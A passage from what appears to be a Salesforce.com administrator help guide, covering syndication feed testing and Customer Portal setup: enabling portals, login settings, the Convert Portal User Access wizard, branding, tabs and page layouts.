For more information about Visualforce, see the Visualforce Developer's Guide.

See Also:
About Syndication Feeds
Testing Syndication Feeds

1304
Force.com Sites Testing Syndication Feeds

Testing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition: “Modify All Data”
Subscribe to a feed No special user permission required

Test the feed definition you have created before enabling it for customers.
To test a feed:

1. After creating a feed, navigate to Setup ➤ Sites and click the site for which you've defined the feed. Alternatively, you
can navigate to the feed detail page any number of ways, including clicking the feed name from the site detail page.
2. Click Preview for the feed you wish to test.
3. If one or more bind variables have been used in the feed, a dialog appears. Enter a test value for each bind variable.
4. A dialog appears allowing you to create a bookmark for the feed with the bind variable values you specified. You can save
the bookmark, or cancel the dialog.
5. The values returned by your feed are displayed. Verify that the results are what you expected.

See Also:
Defining Syndication Feeds
About Syndication Feeds

Viewing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition: “Modify All Data”
Subscribe to a feed No special user permission required

View the syndication feed definition, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create.

1305
Customer Portal Setting Up Your Customer Portal

Description
Describes the feed. For example, “Account first name, last name, and region for the last ten accounts created or edited.”

Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed. For more information, see Defining Syndication Feeds on page 1300.

Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see Defining Syndication Feeds on page 1300.

Max Cache Age Seconds


Because many users may access a feed at the same time, Salesforce.com caches the feed data, for 3600 seconds by default.
This value can be a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time
specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user
opens a page containing a feed that they have subscribed to.

Active
This checkbox indicates whether the feed is available for subscription. Once a feed is active, users have the option of
subscribing to it.

See Also:
Defining Syndication Feeds
About Syndication Feeds
Testing Syndication Feeds

CUSTOMER PORTAL

Setting Up Your Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: “Customize Application”

A Salesforce.com Customer Portal is similar to a Self-Service portal in that it provides an online support channel for your
customers—allowing them to resolve their inquiries without contacting a customer service representative. However, a Customer
Portal provides significantly richer functionality than a Self-Service portal. This is because a Customer Portal has functionality

1306
Customer Portal Setting Up Your Customer Portal

similar to Salesforce.com. With a Customer Portal, you can customize and deliver a visually stunning user interface to your
customers, and use the following Salesforce.com features to help you and your customers succeed:

• Determine which pages and fields customers see with page layouts and field-level security
• Manage customers with profiles, roles, and sharing rules
• Provide and organize documents via Salesforce CRM Content or the Documents tab
• Create a knowledge base for your customers using Salesforce Knowledge
• Allow customers to participate in Salesforce CRM Ideas communities.
• Display and collect data that is unique to your organization with custom objects
• Display custom s-controls and content from other websites via Web tabs
• Provide customized reports via the Reports tab

Setting up your Customer Portal consists of the following steps:

1. Enable the Customer Portal.


2. Create one or more portals.
For each portal:

a. Configure the settings and communication templates.


You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set
Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. For
more information, see Creating Multiple Customer Portals on page 1309.
The Convert Portal User Access wizard automatically displays after the first time you save settings for your first portal,
whether it is the Customer Portal or partner portal. You can use this wizard to help ensure that records and folders
owned by Salesforce.com users are not shared with portal users.
b. Customize the fonts and colors.
c. Customize the available tabs and tab order.
d. Configure portal languages.

3. Optionally, enable Salesforce CRM Content, Ideas, Answers, Entitlement Management or Salesforce Knowledge as
needed.
4. Create Customer Portal profiles.
For each profile:

a. Customize page layouts. See Customizing Your Customer Portal Pages.


For setup tips and general information about Salesforce.com Customer Portal pages, see Setup Tips and Considerations
for Customer Portal Pages on page 1326.
b. Customize list views. See Creating Custom List Views on page 219.
Customer Portal users can automatically see any list view with visibility settings marked Visible to all users.
We recommend that you create specific list views on all objects accessible to portal users, and then assign portal users
to only the list views you want them to view.
c. Customize search layouts. See Customizing Search Layouts on page 1044.
The search layouts in your Salesforce.com organization are the same search layouts used in your Customer Portal.
Verify that search layouts on objects accessible to portal users only include fields you want them to view in search results.

5. Set up workflow:

1307
Customer Portal Setting Up Your Customer Portal

a. Set up workflow rules or case assignment rules to automatically assign cases created by portal users to Salesforce.com
users or queues by using the criteria Current User: User Type contains Customer Portal. For more
information, see Setting Up Assignment Rules on page 1047 and Managing Workflow Rules on page 1400.
For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case is
created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users, add
a rule entry using the criteria Current User: User Type contains Customer Portal and select the Do
Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1047.
b. Create workflow alerts or case auto-response rules to automatically respond to portal users when they create a case on
your portal. To help you determine whether to use workflow alerts or auto-response rules, see Differences Between
Auto-Response Rules and Workflow Alerts on page 1057.

6. Configure portal user access.


7. Grant High Volume Customer Portal users access to objects.
8. Optionally, enable single sign-on.
9. Enable login on each Customer Portal.
10. Add a link on your organization's website to the portal.
Users can navigate to your Customer Portal after you copy the Login URL from your portal's settings and paste it into
the HTML of your website. For more information, see Enabling Customer Portal Login and Settings on page 1313.
11. Enable contacts to use your portal.

To learn more about implementing a Customer Portal, see Preparation for Setting Up Your Portal on page 1120.
Note: Contact salesforce.com about activating a Customer Portal for your organization.

See Also:
Customer Portal Setup Limits
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Creating Multiple Customer Portals
Enabling Single Sign-On for Portals

Enabling Your Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable the Customer Portal: “Customize Application”

To enable the Salesforce.com Customer Portal:

1308
Customer Portal Setting Up Your Customer Portal

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Click Edit.
3. Select Enable Customer Portal.
4. Click Save.
5. Continue setting up the portal.

Tips on Enabling the Customer Portal


Consider the following when enabling the Customer Portal:
• After you enable the Customer Portal, you can create multiple Customer Portals to satisfy the various business needs of
your customers.
• These items become available after you enable the Customer Portal:
- The High Volume Customer Portal User, Authenticated Website User, Customer Portal Manager, and Customer
Portal User profiles, if you purchased user licenses for them.
- The Enable Customer Portal User and View Customer Portal User buttons on contact and person account records.
- The All Customer Portal Users and All Internal Users groups along with the Roles and Internal Subordinates sharing
rule category.

• After you enable a Customer Portal, you cannot disable it. However, you can prevent users from logging into it. See
Enabling Customer Portal Login and Settings on page 1313.

See Also:
Setting Up Your Customer Portal
Enabling Salesforce CRM Content in the Customer Portal
About Customer Portal User Management
Enabling the Customer Portal for Contacts and Person Accounts

Creating Multiple Customer Portals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create multiple Customer Portals: “Customize Application”

After you have enabled the Salesforce.com Customer Portal, you can create multiple Customer Portals to satisfy the various
business needs of your customers.
To create more than one Customer Portal:
1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.
2. Click New.
3. Follow the same steps used to set up your organization's first Customer Portal. For details, see Setting Up Your Customer
Portal on page 1306.

1309
Customer Portal Setting Up Your Customer Portal

Note: Contact salesforce.com for information about the number of Customer Portals you can activate for your
organization.

Before you begin creating multiple Customer Portals for your organization, review the following implementation tips and best
practices.

Implementation Tips
• Portal users can only log into Customer Portals assigned to their profile. To assign a profile to a Customer Portal, select
the name of a portal from the Customer Portal Setup page, click Edit Profiles in the Assigned Profiles section, and select
the Active checkbox next to the profile you want to assign to the portal.
A portal user can access all the Customer Portals assigned to his or her profile with one username and password.
You can view the number of active users associated with each profile assigned to a Customer Portal on the Users field on
the Assigned Profiles section.
• The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain
a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that
portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce.com login page.
• The settings on the following items apply to both your organization and your Customer Portals:
- List views
- Search layouts
- Case assignment rules
- Workflow alerts

Best Practices
• Because you can uniquely customize the fonts, colors, email templates, and login message of each Customer Portal you
create, you can build a Customer Portal for each product and customer service level supported by your organization. For
example, if your organization provides gold, silver, and bronze levels of customer support, then you could create a unique
Customer Portal for each.
Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.

• You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default
Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. These settings
determine the email templates to use when sending email notifications, such as a new case comment or a reset password,
to portal users whose profiles are associated with more than one Customer Portal.
By default, sample templates are automatically selected for you in the New User Template, New Password Template,
and Lost Password Template lookup fields. However, sample templates are not selected for you in the New Comment
Template and Change Owner to Portal User Template lookup fields. Unless you select templates for these
fields, users whose profiles are associated with more than one Customer Portal will not receive email notifications when
new comments are added to their cases or when they become the new owner of a record in the Customer Portal. To create
templates or modify the samples, see Managing Email Templates on page 423. Email templates must be marked as
Available for Use to be sent to portal users.
Tip: Because the default email templates are sent to users of multiple Customer Portals, we recommend that you
create default email templates that do not contain portal-specific branding.

1310
Customer Portal Setting Up Your Customer Portal

• You cannot delete a Customer Portal, but you can prevent users from logging into a portal by deselecting the Login
Enabled checkbox. For more information, see Enabling Customer Portal Login and Settings on page 1313.
• You can create multiple Customer Portals that display different tabs for users with the same profile, as long as the profile
has access to each object displayed on a tab. For more information, see Setting Tab Visibility on page 468 and Customizing
Your Customer Portal Tabs on page 1323.

See Also:
Setting Up Your Customer Portal
About Customer Portal User Management
Customizing Your Customer Portal Tabs
Administrator setup guide: Salesforce Customer Portal Implementation Guide

About the Convert Portal User Access Wizard

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set sharing rules: “Manage Users”

Because Customer Portal and partner portal users appear in the role hierarchy but are external contacts who should not have
access to your organization's internal data, you must configure your organization's sharing settings to prevent inappropriate
access by portal users. When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard
to help ensure that no records or folders are shared with a portal user. The wizard affects the following:
Sharing Rules
The Convert Portal User Access wizard converts any sharing rules that include the Roles, Internal and Portal Subordinates
data set category to include the Roles and Internal Subordinates data set category instead.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified
role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.
Only organization-wide sharing rules are updated when you convert Roles, Internal and Portal Subordinates to Roles
and Internal Subordinates. The Roles, Internal and Portal Subordinates category for queues, public groups, list views,
documents, and manual sharing created on specific records by clicking the Sharing button is not converted to Roles and
Internal Subordinates.

Note: The Roles, Internal and Portal Subordinates data set category is only available in your organization after
you create at least one role in the role hierarchy.
The Roles and Internal Subordinates data set category is only available in your organization after you create at
least one role in the role hierarchy and enable a portal.

1311
Customer Portal Setting Up Your Customer Portal

Folder Sharing

The Convert Portal User Access wizard also enables you to automatically convert the access levels of any report, dashboard,
or document folders that are accessible to Roles, Internal and Portal Subordinates to a more restrictive access level: Roles
and Internal Subordinates. This helps prevent Customer Portal and partner portal users from accessing folders. Using
the wizard is more efficient than locating various folders in Salesforce.com and setting their access levels individually.

The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually
update the access levels on those folders.

When you first save a Customer Portal or partner portal, Salesforce.com automatically displays the Convert Portal User Access
wizard.

See Also:
Using the Convert Portal User Access Wizard
Configuring User Access to the Customer Portal
Enabling Your Customer Portal
Enabling the Partner Portal

Using the Convert Portal User Access Wizard

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set sharing rules: “Manage Users”

When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that
no records or folders are shared with a portal user.
To use the wizard:

1. For the Customer Portal, click Setup ➤ Customize ➤ Customer Portal ➤ Settings. For the partner portal, click Setup
➤ Customize ➤ Partners ➤ Settings.
2. Click the Convert Portal User Access link.
3. Select the checkboxes next to the sharing rules you want to convert to Roles and Internal Subordinates.
If there are no sharing rules to convert but you want to convert the access level for folders, proceed to the following step.
4. Click Next.
5. Select the checkboxes next to the folders whose access levels you want to change to Roles and Internal Subordinates.
The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update
the access levels on those folders.
A particular folder may display on multiple rows in the wizard. This is because the wizard displays a row for each Role,
Internal and Portal Subordinates category to which a folder is shared.
6. Click Next.

1312
Customer Portal Setting Up Your Customer Portal

7. Click Save to apply your selected changes.

See Also:
About the Convert Portal User Access Wizard

Enabling Customer Portal Login and Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable login and settings for the Customer Portal: “Customize Application”

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Click Edit next to the name of the Salesforce.com Customer Portal you want to customize.
3. Set the following options:

Setting Description
Name Name of the Customer Portal as displayed on the portal's
detail and edit pages, as well as the Customer Portal Setup
page. The name of the Customer Portal is not displayed on
portal pages, but it does display in the browser title bar.
The name of your portal must be unique for your
organization and not already in use by a Customer Portal or
partner portal. Furthermore, an error may occur if you name
a Customer Portal “partner portal” or vice versa.

Description A description of the Customer Portal as displayed on the


portal's detail and edit pages. The description of the
Customer Portal is not displayed in the portal.
Login Enabled Allows users to log in to the Customer Portal.
We recommend that you do not select this checkbox until
you have completed the steps described in Setting Up Your
Customer Portal.

Administrator
Click the lookup icon ( ) to choose a default administrator
for your Customer Portal. All email notifications regarding
users who self-register for your Customer Portal will be sent
to this Salesforce.com user.
Notifications include information about registration errors
and any other issues self-registering customers may

1313
Customer Portal Setting Up Your Customer Portal

Setting Description
experience, such as inadvertently entering duplicate email
addresses, creating duplicate contact records, and exceeding
your organization's user license limit.
When choosing an administrator for your Customer Portal,
you can only select users that have the “Edit Self-Service
Users” permission. Furthermore, you cannot deactivate a
user selected as a portal administrator. For more information,
see Deactivating Users on page 449.

Portal Default Settings


Setting Description
Login URL The URL of the Web page that displays when users log in
to your Customer Portal.
You can click this URL to log in to your portal and interact
with it.
Insert this URL into your website so users can access the
login page to your Customer Portal.
The login URL of each Customer Portal you create contains
a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user
can access. If a user accesses a login URL that does not
contain a unique identifier, they are automatically directed
to the login URL of the first Customer Portal you created.
Note that portal users can only log into a Customer Portal
via the portal's login page and not through the
Salesforce.com login page.

Logout URL The URL of the Web page that displays when users log out
of the Customer Portal, for example,
“http://www.acme.com.” If a logout URL is not specified,
portal users return to the login page when they log out.
Top-Level Category for Portal The top-level category accessible by customers in the
Customer Portal. Customers can view all solutions marked
Visible in Self-Service Portal in this category
and its subcategories.
This field is available only if you have enabled solution
browsing. See Customizing Solution Settings on page 1118.

Enable Self-Close Case from Suggested Allows users to close cases in the Customer Portal directly
Solutions from suggested solutions. For example, when a user views a
suggested solution that helps them solve a case, he or she
can click Yes, please close my case if this setting is enabled.

1314
Customer Portal Setting Up Your Customer Portal

Portal Default Settings


Setting Description
For more information about suggested solutions, see What
are Suggested Solutions? on page 2325.

Show Action Confirmation Allows users to view confirmation messages after they
complete an action in the Customer Portal. For example,
after a user creates a case in your Customer Portal, he or she
views the message: “Case has been submitted” if this setting
has been enabled.
Confirmation messages may help users clearly understand
actions they have completed in your Customer Portal.

Email Notification Settings


Setting Description
From Email Address The email address from which all Customer Portal
communication templates are sent, for example,
“support@acme.com.” Salesforce.com sends the emails
automatically, but they appear to portal users as if they were
sent from this email address. If a portal user responds to a
communication template, the response is sent to this address.
From Email Name The name associated with the “From” Email Address, for
example, “Acme Customer Support.”
New User Template The email template used to send a username and initial
password to all newly-enabled and self-registering Customer
Portal users. By default, a sample template is automatically
selected for you. To create your own template or modify the
sample, see Managing Email Templates on page 423. This
template must be marked as Available for Use.
New Password Template The email template used to send a new password to existing
Customer Portal users when you reset their passwords. By
default, a sample template is automatically selected for you.
To create your own template or modify the sample, see
Managing Email Templates on page 423.This template must
be marked as Available for Use.
Lost Password Template The email template used to send a new password to existing
Customer Portal users when they reset their own passwords
by clicking Forgot your password? on the login page of the
Customer Portal. By default, a sample template is
automatically selected for you. To create your own template
or modify the sample, see Managing Email Templates on
page 423. This template must be marked as Available
for Use.

1315
Customer Portal Setting Up Your Customer Portal

Email Notification Settings


Setting Description
New Comment Template The email template used to send a notification to Customer
Portal users when a public comment is added to one of their
cases. To create your own template, see Managing Email
Templates on page 423. This template must be marked as
Available for Use.

Change Owner to Portal User Template The email template used to send a notification to Customer
Portal users when they become the new owner of a record
in the portal. To create your own template, see Managing
Email Templates on page 423.This template must be marked
as Available for Use.

Note: You can standardize the communication templates sent to the users of all your Customer Portals by clicking
the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal
Setup page. For more information, see Creating Multiple Customer Portals on page 1309.

Tip: If you plan to use the same communication template for different objects, such as the Change Owner to
Portal User Template, we recommend that you include text and merge fields on the template that are appropriate
for both objects. For example, if your organization has a Warranty custom object and a Training custom object,
and you want to use the Change Owner to Portal User Template for both, the text and merge fields on the template
should read: “A new record has been assigned to you. Id: {!Training.ID}{!Warranty.Id}.” When the template is
sent, only the relevant merge fields will display.

Look and Feel


Setting Description
Header A text or HTML file that allows you to incorporate your
organization’s branding into the header of your Customer
Portal. Click the lookup icon ( ) to choose a file that has
been uploaded to a publicly accessible folder on the
Documents tab.
The files you include in the Header and Footer lookup
fields can have a combined size of up to 10 KB.
We recommend that you do not add a header and a logo to
your portal because they may not display properly together.
You can position the logout link anywhere on the header by
using the HTML tag: “<a
href="/secur/logout.jsp">Logout</a>.”

Footer A text or HTML file that allows you to incorporate your


organization’s branding into the footer of your Customer
Portal. Click the lookup icon ( ) to choose a file that has

1316
Customer Portal Setting Up Your Customer Portal

Look and Feel


Setting Description
been uploaded to a publicly accessible folder on the
Documents tab.
The files you include in the Header and Footer lookup
fields can have a combined size of up to 10 KB.

Logo An image file that allows you to incorporate your


organization's branding into the top left header of your
Customer Portal. Click the lookup icon ( ) to choose a
file that has been uploaded to a publicly accessible folder on
the Documents tab and marked as an Externally
Available Image.

The file you include in the Logo lookup field can be up to


20 KB.
We recommend that you do not add a header and a logo to
your portal because they may not display properly together.

Login Message A text or HTML file that allows you to incorporate your
organization’s branding into the header of the login page,
forgot password page, and change password page of your
Customer Portal. Click the lookup icon ( ) to choose a
file that has been uploaded to a publicly accessible folder on
the Documents tab.
The file you include in the Login Message lookup field
can be up to 2 KB.
Note: JavaScript and CSS code are automatically
removed from HTML files used as the portal login
message.

Self-Registration Settings
Setting Description
Self-Registration Enabled Allows existing contacts to register themselves for access to
your Customer Portal.
When you select this checkbox and add the Allow
Customer Portal Self-Registration checkbox to
contact page layouts, contacts whose records are marked
Allow Customer Portal Self-Registration can
view a self-registration area on the Login page of your
Customer Portal. From the self-registration area, users can
enter their email address and click Submit to receive an

1317
Customer Portal Setting Up Your Customer Portal

Self-Registration Settings
Setting Description
automatically assigned username and password for logging
in to your Customer Portal. Other email notifications sent
to users regarding their registration status include:

• Existing user, from which the user can enter another


email address or click a Forgot Password? link to retrieve
his or her password.
• New user, which informs the user that the email address
he or she submitted does not match an existing contact
in your organization. If an administrator has
implemented Web-to-Case or Web-to-Lead to capture
new user information, then the user can click a link to
enter his or her information on the appropriate form.
• Internal error, which informs the user that an error
occurred during the self-registration process and that
your portal's administrator has been notified about the
error.
• Ineligible user, which informs the user that he or she is
not eligible for self-registration to your Customer Portal.
This notification is sent when a submitted email address
matches a contact that does not have the Allow
Customer Portal Self-Registration checkbox
selected. It is also sent when a submitted email address
does not match any contacts, and your administrator has
not set up Web-to-Lead or Web-to-Case to capture new
user information.

Ensure that all required custom fields on users have default


values. Otherwise, users who self-register for your Customer
Portal will receive an error message.
Note that person account users cannot self-register for your
Customer Portal. When person account users self-register
for your Customer Portal, they receive an email notification
that instructs them to contact the portal administrator.

New User Form URL Allows you to specify the URL of a Web-to-Lead or
Web-to-Case form for users who self-register for access to
your Customer Portal.
The URL to this form is offered via the template selected
in the Registration Error Template field to
self-registering users who lack an existing contact record, so
that their information can be captured and converted to a
contact.

1318
Customer Portal Setting Up Your Customer Portal

Self-Registration Settings
Setting Description
For more information about setting up Web-to-Lead or
Web-to-Case, see Capturing Web Leads on page 1073 and
Capturing Web Cases on page 1114.

Registration Error Template The email template sent to users who self-register for your
Customer Portal, but experience a registration error, or need
to complete a Web-to-Case or Web-to-Lead form to register
for your portal. By default, a sample template is automatically
selected for you. To create your own template or modify the
sample, see Managing Email Templates on page 423. This
template must be marked as Available for Use.
The From Email Address and From Email Name fields
on Customer Portal settings specify who this template is
sent from.

Default New User License


Click the lookup icon ( ) to choose a default portal user
license for users who self-register for your Customer Portal.
Default New User Role
Click the lookup icon ( ) to choose a default portal role
for users who self-register for your Customer Portal.
Default New User Profile
Click the lookup icon ( ) to choose a default portal profile
for users who self-register for your Customer Portal.
You cannot delete the profile selected as the default portal
profile.

4. Click Save to save your Customer Portal settings.

See Also:
Setting Up Your Customer Portal

1319
Customer Portal Setting Up Your Customer Portal

Customizing Your Customer Portal Fonts and Colors

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the fonts and colors of the Customer Portal: “Customize Application”

You can customize the fonts and colors of the Salesforce.com Customer Portal to reflect your company’s branding. Your
portal’s fonts and colors are specified in a portal “color theme.” Select a predefined color theme and optionally, customize it
to better match your branding. You can click the See examples link to see all of the theme attributes you can customize.

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Select the name of your Customer Portal.
3. Click Change Portal Fonts and Colors.
4. Select a color theme from the Color Theme drop-down list. Select Custom from the Color Theme drop-down list to
create your own theme from scratch.
A preview of the color theme you select is automatically displayed in the Preview sections.
5. Optionally, customize the color of any theme you select by either:

• Entering a hexadecimal value into any theme attribute, or


• Clicking the hexadecimal value of any theme attribute and selecting a color from the point-and-click editor

When you customize a theme, it is automatically renamed Custom when saved. You can customize the following options,
which when customized, automatically display in the Preview sections:

Tab Styles
Theme Attribute Description
Current Tab Text Text color of the tab users have selected.
Current Tab Background Background color of the tab users have selected.
Current Tab Border Border color of the tab users have selected.
Other Tab Text Text color of the tabs users have not selected.
Other Tab Background Background color of the tabs users have not selected.
Other Tab Border Border color of the tabs users have not selected.
Tab Bar Background Background color behind all tabs.

1320
Customer Portal Setting Up Your Customer Portal

Page Styles
Theme Attribute Description
Page Background Portal background color, excluding search, related lists,
recent items, solution categories, document folders, and the
Create New drop-down list.
Text Text color, size, and font on all portal items, except for tabs,
buttons, headers, and field labels.
Optionally, you can change the percent displayed in the
percent field to increase or decrease the size of all portal
items. Additionally, you can change the font of all portal
items, except for tabs, buttons, headers, and field labels from
the drop-down list.

Field Label Text Text color of the field names on records.


Optionally, you can change the font of the text from the
drop-down list.

Link Text color of all links.


Link Hover Text color of all links when a user hovers the mouse over
them.
Field Separator Color of the lines that separate fields on records.
Bottom Border Color of the line bordering the bottom of the portal.

Section Styles
Theme Attribute Description
Header Background Background color of all headings, including search, recent
items, related lists, solution categories, documents folders,
and the selected tab.
Section Header Text Text color and font on the headers of search, related lists,
recent items, solution categories, and document folders.
Optionally, you can change the font of the text from the
drop-down list.

Left Border Border to the left of search, related lists, recent items,
solution categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.

1321
Customer Portal Setting Up Your Customer Portal

Section Styles
Theme Attribute Description
Right Border Border to the right of search, related lists, recent items,
solution categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.

Top Border Border above search, related lists, recent items, solution
categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.

Bottom Border Border underneath search, related lists, recent items, solution
categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.

Section Background Background color of search, related lists, recent items,


solution categories, document folders, and the Create New
drop-down list.

List Styles
Theme Attribute Description
List Header Text Text color of the field names selected as column headings
on list views.
Optionally, you can change the font of the text from the
drop-down list.

Header Underline Color of the lines underneath column headings on related


lists and list views.
Separator Color of the lines between records on list views.
Row Highlight Color of a record when a user hovers the mouse over it on
list views.

1322
Customer Portal Setting Up Your Customer Portal

6. Click Save to save all changes to the theme values.


Tip: Changes are visible to Customer Portal users when they refresh their browsers. Therefore, we recommend
updating your portal color theme at times when users are least likely to visit your Customer Portal.

Note: To customize the header, footer, and logo of your Customer Portal, see Enabling Customer Portal Login and
Settings on page 1313.

See Also:
Setting Up Your Customer Portal
Customizing Your Customer Portal Tabs

Customizing Your Customer Portal Tabs

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Customer Portal tabs: “Customize Application”

The Salesforce.com Customer Portal can display the following tabs:

• Answers
• Articles
• Ideas
• Home
• Cases
• Reports
• Solutions
• Web tabs
• Entitlements
• Custom objects
• Service contracts
• Documents from the Documents tab
• Salesforce CRM Content tabs: Workspaces, Content, and Subscriptions

Additionally, the Customer Portal can display the following tabs to delegated portal user administrators:

• Accounts
• Contacts

To choose which tabs display to users logged in to a Customer Portal, and to customize the order in which tabs display to
portal users:

1323
Customer Portal Setting Up Your Customer Portal

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Select the name of the Customer Portal whose tabs you want to customize.
3. Click Customize Portal Tabs.
4. To add or remove tabs, select a tab title, and click the Add or Remove arrow to add or remove the tab to or from the
Selected Tabs box. To change the order of the tabs, select a tab title in the Selected Tabs box, and click the Up or Down
arrow.
5. Optionally, from the Default Landing Tab drop-down, you can select which tab to display to users when they log
into your portal.
6. Click Save.

You can further limit the tabs displayed for specific profiles by editing the tab settings on the profile. For example, users with
the Customer Portal User profile have the Cases tab set to Default On. If you don't want users with that profile to see the
Cases tab, you can change the tab settings on the profile to Tab Hidden. See Setting Tab Visibility on page 468.
Tip: You can create multiple Customer Portals that display different tabs for users with the same profile, as long as
the profile has access to each object displayed on a tab.

To make the following tabs visible in the Customer Portal, use the steps above and change the tab visibility setting to Default
On in all Customer Portal profiles.

Allowing Portal Users to View Web Tabs


To allow portal users to view Web tabs, simply create Web tabs and assign them to Customer Portal profiles. For more
information, see Creating Web Tabs on page 1397.

Granting Portal Users Access to the Documents Tab


To allow portal users to view a Documents tab, grant Customer Portal users access to the folders on your Salesforce.com
Documents tab that contain the files you want them to view. For more information, see Document Library Overview on page
198 and Creating and Editing Folders on page 1061.

Allowing Portal Users to View the Reports Tab


To allow portal users to view a Reports tab:
1. Grant portal users access to the folders on your Salesforce.com Reports tab that contain the reports you want them to run.
2. Set the organization wide default sharing model to Private on objects you want portal users to report on.
3. Assign portal users to profiles that include the “Run Reports” permission.
When you add the Reports tab to your Customer Portal, portal users:
• Cannot customize reports or filter report results; they can only run reports.
• Can export reports to Excel if their profiles includes the “Export Reports” permission.
• Do not have access to the Unfiled Public Reports and My Personal Custom Reports folders.
• Will receive an insufficient privileges error if they run a report that contains objects they do not have permission to view.

Providing Portal Users with Access to the Ideas Tab


To allow portal users to access the Ideas tab, create a Salesforce CRM Ideas community that is active and configured to display
in the portal. For more information, see Creating and Editing Communities on page 1208 and Enabling Salesforce CRM Ideas
in the Customer Portal on page 1335.

1324
Customer Portal Setting Up Your Customer Portal

If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your
Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding
tabs, see Customizing Your Customer Portal Tabs on page 1323.

Allowing Portal Users to Access Salesforce CRM Content Tabs


To allow portal users to access Salesforce CRM Content, see Enabling Salesforce CRM Content in the Customer Portal on
page 1331.

See Also:
Setting Up Your Customer Portal
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal

Customizing Your Customer Portal Pages

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify page layouts: “Customize Application”
To assign page layouts to profiles: “Manage Users”

You can customize your Salesforce.com Customer Portal pages just as you customize pages in Salesforce.com: with page
layouts.
Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They
also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages
that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce
pages, and determine whether or not a label and scroll bars display.
Customer Portal users view the layouts assigned to their profile when they log in to your Customer Portal. You can customize
the following objects' page layouts for your portal:

• Home
• Tasks
• Events
• Cases
• Assets
• Accounts
• Solutions
• Contacts
• Entitlements
• Custom Objects
• Service Contracts

1325
Customer Portal Setting Up Your Customer Portal

Customizing Portal Page Layouts


To work with page layouts, go to Setup ➤ Customize, click the appropriate kind of record, and select Page Layouts. For
more information, see Managing Page Layouts on page 1012.
Note:
• By default, Customer Portal users have “Read” permissions on accounts, contacts, and assets so that they can view
their account name and choose a contact and asset for the cases they create on your portal.
• Customer Portal users cannot view the tags section of a page, even if it is included in a page layout. For more
information, see About Tagging on page 336.

To work with page layouts for custom objects, click Setup ➤ Create ➤ Objects, select a custom object, and choose a page
layout from the Page Layouts section. For more information, see Building Page Layouts for Custom Objects on page 1385.
To display a custom object in your Customer Portal, you must:
• Select the Available for Customer Portal checkbox on the custom object. You cannot assign a portal profile to
a custom-object page layout unless this checkbox is selected. For information on modifying this setting, see Defining
Custom Objects on page 1369.
• Grant user permissions to the custom object on profiles assigned to portal users. For more information, see Viewing and
Editing Profiles on page 465.
